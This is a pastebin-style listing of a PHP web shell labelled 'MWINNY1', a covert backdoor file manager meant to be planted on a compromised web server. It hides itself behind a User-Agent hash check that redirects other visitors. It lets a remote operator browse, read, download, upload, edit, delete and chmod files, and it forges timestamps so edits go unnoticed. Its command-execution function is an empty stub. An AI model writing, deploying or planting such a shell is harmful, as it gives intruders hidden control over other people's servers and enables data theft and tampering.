· 8 years ago · Dec 29, 2017, 06:40 PM
1<?php
2
3if ( md5(getenv('HTTP_USER_AGENT')) != '69bc3b342502573e6d727f341674f010')
4header('Location: ' . 'http://' . $_SERVER['HTTP_HOST'] );
5$color = "#df5";
6$dflt_actn = 'FilesWin';
7@define('SELF_PATH', __FILE__);
8@session_start();
9@ini_set('max_execution_time',0);
10@set_magic_quotes_runtime(0);
11if( get_magic_quotes_gpc() ) {
12 function stripslashes_array($array) {
13 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
14 }
15 $_POST = stripslashes_array($_POST);
16}
17
18if( strtolower( substr(PHP_OS,0,3) ) == "win" )
19 $os = 'win';
20else
21 $os = 'nix';
22
23$home_cwd = @getcwd();
24if( isset( $_POST['c'] ) )
25 @chdir($_POST['c']);
26$cwd = @getcwd();
27
28if( $os == 'win') {
29 $home_cwd = str_replace("\\", "/", $home_cwd);
30 $cwd = str_replace("\\", "/", $cwd);
31}
32if( $cwd[strlen($cwd)-1] != '/' )
33 $cwd .= '/';
34
35
36function printHeader() {
37 if(empty($_POST['charset']))
38 $_POST['charset'] = "UTF-8";
39 global $color;
40 ?>
41
42<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?php echo $_POST['charset']?>'><title><?php echo $_SERVER['HTTP_HOST']?> - MWINNY1 </title>
43<style>
44body{background-color:#444;color:#e1e1e1;}
45body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
46table.info{ color:#fff;background-color:#222; }
47span,h1,a{ color:<?php echo $color?> !important; }
48span{ font-weight: bolder; }
49h1{ border-left:5px solid <?php echo $color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
50div.content{ padding: 5px;margin-left:5px;background-color:#333; }
51a{ text-decoration:none; }
52a:hover{ text-decoration:underline; }
53.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
54.bigarea{ width:100%;height:250px; }
55input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid <?php echo $color?>; font: 9pt Monospace,"Courier New"; }
56form{ margin:0px; }
57#toolsTbl{ text-align:center; }
58.toolsInp{ width: 300px }
59.main th{text-align:left;background-color:#5e5e5e;}
60.main tr:hover{background-color:#5e5e5e}
61.l1{background-color:#444}
62pre{font-family:Courier,Monospace;}
63</style>
64<script>
65 var c_ = '<?php echo htmlspecialchars($GLOBALS['cwd'])?>';
66 var a_ = '<?php echo htmlspecialchars(@$_POST['a'])?>';
67 var p1_ = '<?php echo (strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p1']))?>';
68 var p2_ = '<?php echo (strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))?>';
69 var p3_ = '<?php echo (strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))?>';
70 var charset_ = '<?php echo htmlspecialchars(@$_POST['charset'])?>';
71 function set(a,c,p1,p2,p3,charset) {
72 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
73 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
74 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
75 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
76 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
77 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
78 }
79 function g(a,c,p1,p2,p3,charset) {
80 set(a,c,p1,p2,p3,charset);
81 document.mf.submit();
82 }
83 function a(a,c,p1,p2,p3,charset) {
84 set(a,c,p1,p2,p3,charset);
85 var params = "ajax=true";
86 for(i=0;i<document.mf.elements.length;i++)
87 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
88 sr('<?php echo $_SERVER['REQUEST_URI'];?>', params);
89 }
90 function sr(url, params) {
91 if (window.XMLHttpRequest) {
92 req = new XMLHttpRequest();
93 req.onreadystatechange = processReqChange;
94 req.open("POST", url, true);
95 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
96 req.send(params);
97 }
98 else if (window.ActiveXObject) {
99 req = new ActiveXObject("Microsoft.XMLHTTP");
100 if (req) {
101 req.onreadystatechange = processReqChange;
102 req.open("POST", url, true);
103 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
104 req.send(params);
105 }
106 }
107 }
108 function processReqChange() {
109 if( (req.readyState == 4) )
110 if(req.status == 200) {
111 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
112 var arr=reg.exec(req.responseText);
113
114 }
115 else alert("Request error!");
116 }
117</script>
118<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
119<form method=post name=mf style='display:none;'>
120<input type=hidden name=a>
121<input type=hidden name=c>
122<input type=hidden name=p1>
123<input type=hidden name=p2>
124<input type=hidden name=p3>
125<input type=hidden name=charset>
126</form>
127<?php
128 if(!function_exists('posix_getegid')) {
129 $user = @get_current_user();
130 $uid = @getmyuid();
131 $gid = @getmygid();
132 $group = "?";
133 } else {
134 $uid = '';
135 $gid = '';
136 $user = '';
137 $uid = '';
138 $group = '';
139 $gid = '';
140 }
141 $cwd_links = '';
142 $path = explode("/", $GLOBALS['cwd']);
143 $n=count($path);
144 for($i=0;$i<$n-1;$i++) {
145 $cwd_links .= "<a href='#' onclick='g(\"FilesWin\",\"";
146 for($j=0;$j<=$i;$j++)
147 $cwd_links .= $path[$j].'/';
148 $cwd_links .= "\")'>".$path[$i]."/</a>";
149 }
150 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
151 $opt_charsets = '';
152 foreach($charsets as $item)
153 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
154 $drives = "";
155 if ($GLOBALS['os'] == 'win') {
156 foreach( range('c','z') as $drive )
157 if (is_dir($drive.':\\'))
158 $drives .= '<a href="#" onclick="g(\'FilesWin\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
159 }
160 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr>'.
161 '<td><br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesWin\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
162 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select></td></tr></table>'.
163 '<div style="margin:5">';
164}
165
166function printFooter() {
167 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
168?>
169</div>
170<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
171 <tr>
172 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?php echo htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
173 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
174 </tr>
175 <tr>
176 <td><form onsubmit="g('FilesWin',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?php echo $is_writable?></td>
177 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
178 </tr>
179 <tr>
180 <td></td>
181 <td><form method='post' ENCTYPE='multipart/form-data'>
182 <input type=hidden name=a value='FilesWin'>
183 <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
184 <input type=hidden name=p1 value='uploadFile'>
185 <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
186 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
187 </tr>
188
189</table>
190</div>
191</body></html>
192<?php
193}
194function ex($in) {
195 $out = '';
196 return $out;
197}
198function viewSize($s) {
199 if($s >= 1073741824)
200 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
201 elseif($s >= 1048576)
202 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
203 elseif($s >= 1024)
204 return sprintf('%1.2f', $s / 1024 ) . ' KB';
205 else
206 return $s . ' B';
207}
208function perms($p) {
209 if (($p & 0xC000) == 0xC000)$i = 's';
210 elseif (($p & 0xA000) == 0xA000)$i = 'l';
211 elseif (($p & 0x8000) == 0x8000)$i = '-';
212 elseif (($p & 0x6000) == 0x6000)$i = 'b';
213 elseif (($p & 0x4000) == 0x4000)$i = 'd';
214 elseif (($p & 0x2000) == 0x2000)$i = 'c';
215 elseif (($p & 0x1000) == 0x1000)$i = 'p';
216 else $i = 'u';
217 $i .= (($p & 0x0100) ? 'r' : '-');
218 $i .= (($p & 0x0080) ? 'w' : '-');
219 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
220 $i .= (($p & 0x0020) ? 'r' : '-');
221 $i .= (($p & 0x0010) ? 'w' : '-');
222 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
223 $i .= (($p & 0x0004) ? 'r' : '-');
224 $i .= (($p & 0x0002) ? 'w' : '-');
225 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
226 return $i;
227}
228function viewPermsColor($f) {
229 if (!@is_readable($f))
230 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
231 elseif (!@is_writable($f))
232 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
233 else
234 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
235}
236if(!function_exists("scandir")) {
237 function scandir($dir) {
238 $dh = opendir($dir);
239 while (false !== ($filename = readdir($dh))) {
240 $files[] = $filename;
241 }
242 return $files;
243 }
244}
245function which($p) {
246 $path = ex('which '.$p);
247 if(!empty($path))
248 return $path;
249 return false;
250}
251
252
253function actionFilesWin() {
254 printHeader();
255 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
256 if(!empty($_POST['p1'])) {
257 switch($_POST['p1']) {
258 case 'uploadFile':
259 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
260 echo "Can't upload file!";
261 break;
262 case 'mkdir':
263 if(!@mkdir($_POST['p2']))
264 echo "Can't create new dir";
265 break;
266 case 'delete':
267 function deleteDir($path) {
268 $path = (substr($path,-1)=='/') ? $path:$path.'/';
269 $dh = opendir($path);
270 while ( ($item = readdir($dh) ) !== false) {
271 $item = $path.$item;
272 if ( (basename($item) == "..") || (basename($item) == ".") )
273 continue;
274 $type = filetype($item);
275 if ($type == "dir")
276 deleteDir($item);
277 else
278 @unlink($item);
279 }
280 closedir($dh);
281 rmdir($path);
282 }
283 if(is_array(@$_POST['f']))
284 foreach($_POST['f'] as $f) {
285 $f = urldecode($f);
286 if(is_dir($f))
287 deleteDir($f);
288 else
289 @unlink($f);
290 }
291 break;
292 case 'paste':
293 if($_SESSION['act'] == 'copy') {
294 function copy_paste($c,$s,$d){
295 if(is_dir($c.$s)){
296 mkdir($d.$s);
297 $h = @opendir($c.$s);
298 while (($f = @readdir($h)) !== false)
299 if (($f != ".") and ($f != "..")) {
300 copy_paste($c.$s.'/',$f, $d.$s.'/');
301 }
302 } elseif(is_file($c.$s)) {
303 @copy($c.$s, $d.$s);
304 }
305 }
306 foreach($_SESSION['f'] as $f)
307 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
308 } elseif($_SESSION['act'] == 'move') {
309 function move_paste($c,$s,$d){
310 if(is_dir($c.$s)){
311 mkdir($d.$s);
312 $h = @opendir($c.$s);
313 while (($f = @readdir($h)) !== false)
314 if (($f != ".") and ($f != "..")) {
315 copy_paste($c.$s.'/',$f, $d.$s.'/');
316 }
317 } elseif(@is_file($c.$s)) {
318 @copy($c.$s, $d.$s);
319 }
320 }
321 foreach($_SESSION['f'] as $f)
322 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
323 } elseif($_SESSION['act'] == 'zip') {
324
325 } elseif($_SESSION['act'] == 'unzip') {
326
327 }
328 unset($_SESSION['f']);
329 break;
330 default:
331 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
332 $_SESSION['act'] = @$_POST['p1'];
333 $_SESSION['f'] = @$_POST['f'];
334 foreach($_SESSION['f'] as $k => $f)
335 $_SESSION['f'][$k] = urldecode($f);
336 $_SESSION['c'] = @$_POST['c'];
337 }
338 break;
339 }
340 }
341 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
342 if($dirContent === false) { echo 'Can\'t open this folder!';printFooter(); return; }
343 global $sort;
344 $sort = array('name', 1);
345 if(!empty($_POST['p1'])) {
346 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
347 $sort = array($match[1], (int)$match[2]);
348 }
349?>
350<script>
351 function sa() {
352 for(i=0;i<document.files.elements.length;i++)
353 if(document.files.elements[i].type == 'checkbox')
354 document.files.elements[i].checked = document.files.elements[0].checked;
355 }
356</script>
357<table width='100%' class='main' cellspacing='0' cellpadding='2'>
358<form name=files method=post>
359<?php
360 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesWin\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesWin\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesWin\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesWin\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
361 $dirs = $files = $links = array();
362 $n = count($dirContent);
363 for($i=0;$i<$n;$i++) {
364 $ow = '';
365 $gr = '';
366 $tmp = array('name' => $dirContent[$i],
367 'path' => $GLOBALS['cwd'].$dirContent[$i],
368 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
369 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
370 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i])
371 );
372 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
373 $files[] = array_merge($tmp, array('type' => 'file'));
374 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
375 $links[] = array_merge($tmp, array('type' => 'link'));
376 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
377 $dirs[] = array_merge($tmp, array('type' => 'dir'));
378 }
379 $GLOBALS['sort'] = $sort;
380 function cmp($a, $b) {
381 if($GLOBALS['sort'][0] != 'size')
382 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
383 else
384 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
385 }
386 usort($files, "cmp");
387 usort($dirs, "cmp");
388 usort($links, "cmp");
389 $files = array_merge($dirs, $links, $files);
390 $l = 0;
391 foreach($files as $f) {
392 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesWin\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
393 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
394 $l = $l?0:1;
395 }
396 ?>
397 <tr><td colspan=7>
398 <input type=hidden name=a value='FilesWin'>
399 <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
400 <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
401 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(class_exists('ZipArchive')){?><option value='zip'>Compress (zip)</option><?php }?><option value='unzip'>Uncompress (zip)</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste / zip</option><?php }?></select> <input type="submit" value=">>"></td></tr>
402 </form></table></div>
403 <?php
404 printFooter();
405}
406
407function actionFilesTools() {
408 if( isset($_POST['p1']) )
409 $_POST['p1'] = urldecode($_POST['p1']);
410 if(@$_POST['p2']=='download') {
411 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
412 ob_start("ob_gzhandler", 4096);
413 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
414 if (function_exists("mime_content_type")) {
415 $type = @mime_content_type($_POST['p1']);
416 header("Content-Type: ".$type);
417 }
418 $fp = @fopen($_POST['p1'], "r");
419 if($fp) {
420 while(!@feof($fp))
421 echo @fread($fp, 1024);
422 fclose($fp);
423 }
424 }exit;
425 }
426 if( @$_POST['p2'] == 'mkfile' ) {
427 if(!file_exists($_POST['p1'])) {
428 $fp = @fopen($_POST['p1'], 'w');
429 if($fp) {
430 $_POST['p2'] = "edit";
431 fclose($fp);
432 }
433 }
434 }
435 printHeader();
436 echo '<h1>File tools</h1><div class=content>';
437 if( !file_exists(@$_POST['p1']) ) {
438 echo 'File not exists';
439 printFooter();
440 return;
441 }
442 $uid = '';
443 if(!$uid) {
444 $uid['name'] = @fileowner($_POST['p1']);
445 $gid['name'] = @fileowner($_POST['p1']);
446 } else $gid = @posix_getgrgid(@fileowner($_POST['p1']));
447 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
448 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
449 if( empty($_POST['p2']) )
450 $_POST['p2'] = 'view';
451 if( is_file($_POST['p1']) )
452 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
453 else
454 $m = array('Chmod', 'Rename', 'Touch');
455 foreach($m as $v)
456 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
457 echo '<br><br>';
458 switch($_POST['p2']) {
459 case 'view':
460 echo '<pre class=ml1>';
461 $fp = @fopen($_POST['p1'], 'r');
462 if($fp) {
463 while( !@feof($fp) )
464 echo htmlspecialchars(@fread($fp, 1024));
465 @fclose($fp);
466 }
467 echo '</pre>';
468 break;
469 case 'highlight':
470 if( @is_readable($_POST['p1']) ) {
471 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
472 $code = @highlight_file($_POST['p1'],true);
473 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
474 }
475 break;
476 case 'chmod':
477 if( !empty($_POST['p3']) ) {
478 $perms = 0;
479 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
480 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
481 if(!@chmod($_POST['p1'], $perms))
482 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
483 }
484 clearstatcache();
485 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
486 break;
487 case 'edit':
488 if( !is_writable($_POST['p1'])) {
489 echo 'File isn\'t writeable';
490 break;
491 }
492 if( !empty($_POST['p3']) ) {
493 $time = @filemtime($_POST['p1']);
494 $_POST['p3'] = substr($_POST['p3'],1);
495 $fp = @fopen($_POST['p1'],"w");
496 if($fp) {
497 @fwrite($fp,$_POST['p3']);
498 @fclose($fp);
499 echo 'Saved!<br><script>p3_="";</script>';
500 @touch($_POST['p1'],$time,$time);
501 }
502 }
503 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
504 $fp = @fopen($_POST['p1'], 'r');
505 if($fp) {
506 while( !@feof($fp) )
507 echo htmlspecialchars(@fread($fp, 1024));
508 @fclose($fp);
509 }
510 echo '</textarea><input type=submit value=">>"></form>';
511 break;
512 case 'hexdump':
513 $c = @file_get_contents($_POST['p1']);
514 $n = 0;
515 $h = array('00000000<br>','','');
516 $len = strlen($c);
517 for ($i=0; $i<$len; ++$i) {
518 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
519 switch ( ord($c[$i]) ) {
520 case 0: $h[2] .= ' '; break;
521 case 9: $h[2] .= ' '; break;
522 case 10: $h[2] .= ' '; break;
523 case 13: $h[2] .= ' '; break;
524 default: $h[2] .= $c[$i]; break;
525 }
526 $n++;
527 if ($n == 32) {
528 $n = 0;
529 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
530 $h[1] .= '<br>';
531 $h[2] .= "\n";
532 }
533 }
534 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
535 break;
536 case 'rename':
537 if( !empty($_POST['p3']) ) {
538 if(!@rename($_POST['p1'], $_POST['p3']))
539 echo 'Can\'t rename!<br>';
540 else
541 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
542 }
543 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
544 break;
545 case 'touch':
546 if( !empty($_POST['p3']) ) {
547 $time = strtotime($_POST['p3']);
548 if($time) {
549 if(!touch($_POST['p1'],$time,$time))
550 echo 'Fail!';
551 else
552 echo 'Touched!';
553 } else echo 'Bad time format!';
554 }
555 clearstatcache();
556 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
557 break;
558 }
559 echo '</div>';
560 printFooter();
561}
562
563if( empty($_POST['a']) )
564 if(isset($dflt_actn) && function_exists('action' . $dflt_actn))
565 $_POST['a'] = $dflt_actn;
566 else
567 $_POST['a'] = 'SecInfo';
568if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
569 call_user_func('action' . $_POST['a']);
570?>